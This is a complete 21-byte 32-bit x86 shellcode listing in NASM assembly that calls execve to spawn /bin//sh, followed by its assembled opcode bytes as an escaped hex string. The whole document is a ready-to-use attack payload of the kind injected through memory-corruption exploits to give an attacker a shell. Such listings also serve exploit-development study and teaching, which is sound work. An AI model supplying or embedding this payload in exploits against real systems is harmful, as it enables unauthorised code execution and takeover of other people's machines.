Simple 21-byte x86 shellcode

shell_32.asm

BITS 32
global _start
section .text

SYS_EXECVE equ 0x0b

_start:
    xor ecx, ecx       ; argv to zero
    mul ecx            ; envp to zero, eax to zero
    add al, SYS_EXECVE ; syscall 11 for execve

    push ecx           ; terminate our string 
    push 0x68732f2f    ; push 'hs//'
    push 0x6e69622f    ; push 'nib/'
    mov ebx, esp       ; Set ebx to our filename

    int 0x80           ; Syscall

; execve("/bin//sh/", 0, 0)
; \x31\xc9\xf7\xe1\x04\x0b\x51
; \x68\x2f\x2f\x73\x68\x68\x2f
; \x62\x69\x6e\x89\xe3\xcd\x80